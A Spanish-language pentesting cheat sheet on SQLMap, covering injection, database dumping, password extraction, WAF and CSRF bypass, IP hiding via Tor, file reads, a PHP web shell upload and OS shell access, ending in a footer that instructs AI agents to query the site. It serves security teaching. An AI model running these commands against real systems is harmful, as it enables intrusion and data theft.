# SQLMap

[SQLMap](https://github.com/sqlmapproject/sqlmap) es una herramienta open-source que permite detectar y explotar SQLi.

Dentro de las características que posee SQLMap, se pueden mencionar las siguientes:

* Conexión con el objetivo
* Enumeración
* Obtener contenido de la DB
* Detección de inyección
* Optimización
* Acceso al sistema de archivos
* Fingerprinting
* Detección de protección y bypass usando scripts `tamper`
* Ejecución de comandos de OS

## Instalación de SQLMap

En los sistemas basados en Debian, se puede instalar usando APT:

```bash
sudo apt install sqlmap
```

O puede ser instalado mediante github:

```bash
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dedv
python3 sqlmap.py
```

## DBMSs soportadas

SQLMap soporta las siguientes DBMS:

* MySQL
* SQLite
* Sybase
* HSQLDB
* H2
* Vertica, Mckoi
* CrateDB
* Cubrid
* FrontBase
* Oracle
* IBM DB2
* SAP MaxDB
* CockroachDB
* MonetDB
* Presto
* Greenplum
* InterSystems Cache
* PostgreSQL
* Microsoft Access
* Informix
* TiDB
* Apache Derby
* Altibase
* Drizzle
* IRIS
* Microsoft SQL Server
* Firebird
* MariaDB
* MemSQL
* Amazon Redshift
* MimerSQL
* Apache Ignite
* eXtremeDB

## Tipos de inyección soportados

Podemos obtener esta información usando el siguiente comando:

```bash
sqlmap -hh
```

* `B` boolean-based blind
* `E` error-based
* `U` union query-based
* `S` stacked queries
* `T` time-based blind
* `Q` inline queries

## Uso de SQLMap

### **Uso básico**

En caso de que queramos testear la URL `http://www.example.com/vuln.php?id=1`, podemos usar el siguiente comando:

```bash
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
```

* `-u` URL a escanear
* `--batch` no preguntar por input del usuario, usar el comportamiento por defecto

Para obtener los datos de la URL, los headers y otros, podemos usar la opción `Copy as cURL` que se encuentra en `Network` (`Monitor`) en el panel de herramientas de desarrollador de los navegadores (Chrome, Edge o Firefox). Luego, este comando es necesario pegarlo en la terminal, y reemplazar `curl` por `sqlmap`.

En caso de que el request use el método POST, podemos pasar los datos con la opción `--data`:

```bash
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
```

Si solo queremos que valide solo uno de los datos enviados, podemos usar los siguientes ejemplos:

```bash
sqlmap 'http://www.example.com/' --data 'uid=1&name=test' -p uid
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'
```

* `-p` validar el parámetro indicado

Otra opción es, mediante Burp Suite, guardar el request en un archivo de texto, y ejecutar el siguiente comando:

```bash
sqlmap -r requests.txt
```

* `-r` cargar el request desde un archivo

Podemos indicar el uso de cookies con la opción `--cookie`, y el de algún header en especial con `-H`/`--header`:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1' --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
sqlmap 'http://www.example.com/vuln.php?id=1' -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
```

En caso de que el método sea diferente a GET y POST, podemos usar `--method` para modificarlo:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1' --method PUT
```

### **Tunning del ataque**

SQLMap utiliza `--level` y `--risk` indicar los vectores de ataque a usar.

* `--level` puede ser un número entre 1 y 5, donde, por defecto, es 1 y extiende tanto los vectores como los límites que se utilizan, en función de su expectativa de éxito (es decir, cuanto menor sea la expectativa, mayor será el nivel)
* `--risk` puede ser un número entre 1 y 3, donde, por defecto, es 1 y amplía el conjunto de vectores utilizados en función de su riesgo de causar problemas en el lado de destino (es decir, riesgo de pérdida de entrada de la base de datos o denegación de servicio)

```bash
sqlmap 'http://www.example.com/vuln.php?id=1' --level=5 --risk=3
```

Por defecto, se usa `--level=1 --risk=1`, el cual, testea 72 payloads, mientras que, `--level=5 --risk=3` valida 7865 payload.

Además, podemos indicar prefijos y sufijos, usando `--prefix` y `suffix`:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --prefix='`)' --suffix='-- -'
```

E incluso, especificar parámetros para un ataque basado en `UNION`:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --technique=U --union-cols=1-9
sqlmap 'http://www.example.com/vuln.php?id=1*' --technique=U --union-cols=5 --union-char='a'
sqlmap 'http://www.example.com/vuln.php?id=1*' --technique=U --union-from=users
```

* `--technique=U` realizar un ataque UNION
* `--union-cols` especificamos el número de columnas a validar o el total que tiene la tabla
* `--union-char` en caso de que los valores de relleno usados por SQLMap no sean compatibles con la DB, podemos especificar cuál usar
* `--union-from` en caso de usar algún apéndice al final del ataque UNION (como en una DB Oracle), podemos usar esta opción

## Enumeración de una DB

Con las siguientes opciones podemos obtener información básica de la DB:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --banner --current-user --current-db --is-dba
```

* `--banner` banner con la versión de la DB
* `--current-user` usuario actual con el que nos conectamos a la DB
* `--current-db` nombre de la DB actual
* `--is-dba` valida si el usuario es DBA (administrador)

Si queremos obtener el nombre de las DBs, podemos usar el siguiente comando:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --dbs
```

Para conocer las tablas de una DB, usamos `--tables`, especificando con `-D` el nombre de la DB:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' -D testdb --tables
```

Con estos datos, podemos dumpear los datos de las tablas:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' -D testdb -T users --dump
```

Si queremos solo la información de ciertas columnas, podemos usar `-C`, seguido de los nombres de las columnas:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' -D testdb -T users -C username,password --dump
```

En caso de querer dumpear solo filas específicas, podemos incorporar `--start` y `--stop` en el comando:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' -D testdb -T users --start=2 --stop=3 --dump
```

Si queremos dumpear una DB completa, podemos usar el siguiente comando:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' -D testdb --dump
```

> Si la tabla tiene hashes, SQLMap no puede ofrecer generar un ataque de fuerza bruta contra estos.

Para dumpear todas las DB, usamos el comando `--dump-all`:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --dump-all
sqlmap 'http://www.example.com/vuln.php?id=1*' --dump-all --exclude-sysdbs
```

* `--exclude-sysdbs` se usa para no obtener información de las DB del sistema, que por lo general, no tienen información relevante para un pentesting

Obtención del esquema de la DB:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --schema
```

Si queremos buscar tablas que contengan alguna palabra, podemos usar el siguiente comando:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --search -T user
```

Esto lo podemos repetir con columnas:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --search -C pass
```

Además de las credenciales de usuario que se encuentran en las tablas de la base de datos, también podemos intentar dumpear el contenido de las tablas del sistema que contienen credenciales específicas de la base de datos:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --passwords
```

## Bypass protecciones Web

SQLMap posee múltiples opciones para realizar bypass de protecciones web. Una de ellas es el bypass al token Anti-CSRF:

```bash
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
```

* `--csrf-token` indicamos el nombre del token

En caso de tener un valor que debe ser randomizado (`unique value bypass`), podemos usar la opción `--randomize`, donde, al igual que con el token anterior, debemos indicar el nombre del parámetro:

```bash
sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp
```

Algunas protecciones esperan que se mande algún valor calculado en base a otro, por eso, podemos usar lo siguiente en caso de que sea un valor MD5 (`calculated parameter bypass`):

```bash
sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()"
```

Para poder ocultar nuestra IP, podemos usar dos opciones, ocultarla mediante un proxy o mediante TOR:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --proxy="socks4://177.39.187.70:33283"
sqlmap 'http://www.example.com/vuln.php?id=1*' --proxy-file=proxy_list.txt
sqlmap 'http://www.example.com/vuln.php?id=1*' --check-tor
sqlmap 'http://www.example.com/vuln.php?id=1*' --tor
```

* `--proxy` indicamos el proxy a usar
* `--proxy-file` lista de proxies
* `--check-tor` validar si TOR se está usando de forma correcta
* `--tor` usar TOR para ocultar nuestra IP de origen

Para hacer bypass de WAF, SQLMap utiliza la librería [identYwaf](https://github.com/stamparm/identYwaf):

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --skip-waf
```

SQLMap, por defecto, utiliza un User-Agent que contiene la palabra sqlmap en él, para evitar esto, podemos usar la opción `--random-agent`:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --random-agent
```

Uno de los mecanismos más populares son los `Tamper Scripts`. Estos modifican las solicitudes antes de ser enviados al destino.

Para usar estos scripts, se utiliza la opción `--tamper`:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --tamper=between,randomcase
```

| Tamper-Script               | Description                                                                                                                                        |
| --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| `0eunion`                   | Reemplazar instancias de UNION con e0UNION                                                                                                         |
| `base64encode`              | Codificar en Base64 todos los caracteres en un payload                                                                                             |
| `between`                   | Reemplazar el operador mayor que (`>`) con `NOT BETWEEN 0 AND #` y el operador igual (`=`) con `BETWEEN # AND #`                                   |
| `commalesslimit`            | Reemplazar instancias (MySQL) como `LIMIT M, N` con su contraparte `LIMIT N OFFSET M`                                                              |
| `equaltolike`               | Reemplazar todas las ocurrencias del operador igual (`=`) con `LIKE`                                                                               |
| `halfversionedmorekeywords` | Agregar un comentario versionado (MySQL) antes de cada palabra clave                                                                               |
| `modsecurityversioned`      | Adoptar una consulta completa con un comentario versionado (MySQL)                                                                                 |
| `modsecurityzeroversioned`  | Adoptar una consulta completa con un comentario de versión cero (MySQL)                                                                            |
| `percentage`                | Agregar un signo de porcentaje (`%`) delante de cada carácter (ejemplo: SELECT -> %S%E%L%E%C%T)                                                    |
| `plus2concat`               | Reemplazar el operador más (`+`) con la contraparte de la función (MsSQL) CONCAT()                                                                 |
| `randomcase`                | Reemplazar cada carácter de palabra clave con un valor de caso aleatorio (por ejemplo, SELECT -> SEleCt)                                           |
| `space2comment`             | Reemplazar el carácter de espacio ( ) con comentarios \`/                                                                                          |
| `space2dash`                | Reemplazar el carácter de espacio ( ) con un guion de comentario (`--`) seguido de una cadena aleatoria y una nueva línea ()                       |
| `space2hash`                | Reemplazar instancias (MySQL) de carácter de espacio ( ) con un carácter de almohadilla (`#`) seguido de una cadena aleatoria y una nueva línea () |
| `space2mssqlblank`          | Reemplazar instancias (MsSQL) de carácter de espacio ( ) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos      |
| `space2plus`                | Reemplazar el carácter de espacio ( ) con más (`+`)                                                                                                |
| `space2randomblank`         | Reemplazar el carácter de espacio ( ) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos                         |
| `symboliclogical`           | Reemplazar los operadores lógicos AND y OR con sus contrapartes simbólicas (`&&` y \`                                                              |
| `versionedkeywords`         | Incluir cada palabra clave que no es función con un comentario versionado (MySQL)                                                                  |
| `versionedmorekeywords`     | Incluye cada palabra clave con un comentario versionado (MySQL)                                                                                    |

Otros métodos a usar, son el de la fragmentación (chunked), que divide las consultas para pasar desapercibida una consulta:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --chunked
```

El otro mecanismo de bypass es el `HTTP parameter pollution` (HPP), donde, los payloads se dividen de manera similar, como en el caso de `chunked` entre diferentes valores con el mismo nombre de parámetro (por ejemplo: `?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users...`), que están concatenados por la plataforma de destino si la admite (como ASP).

## Explotación del OS

Si queremos leer un archivo que se encuentra en la máquina, podemos usar el siguiente comando:

> Es importante tener en cuenta que muchas veces se necesitan permisos de DBA. Para validar esto, podemos usar la opción `--is-dba`.

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --file-read "/etc/passwd"
```

Esto nos guardará el output en un archivo local.

En caso de querer escribir un archivo, podemos hacer lo siguiente:

* Archivo que queremos cargar:

```bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

* Comando:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --file-write "shell.php" --file-dest "/var/www/html/shell.php"
```

Si queremos ejecutar comandos directamente usando SQLMap, y no subiendo una shell a esta, podemos usar la opoción `--os-shell`:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --os-shell
```

En caso de que no se muestre de forma correcta el output de los comandos, podemos cambiar la técnica de ataque por defecto `UNION`, a otra:

```bash
sqlmap 'http://www.example.com/vuln.php?id=1*' --os-shell --technique=E
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://w0lf-f4ng.gitbook.io/cheat-sheet/pentesting-web/vulnerabilidades/sql-injection-sqli/sqlmap.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
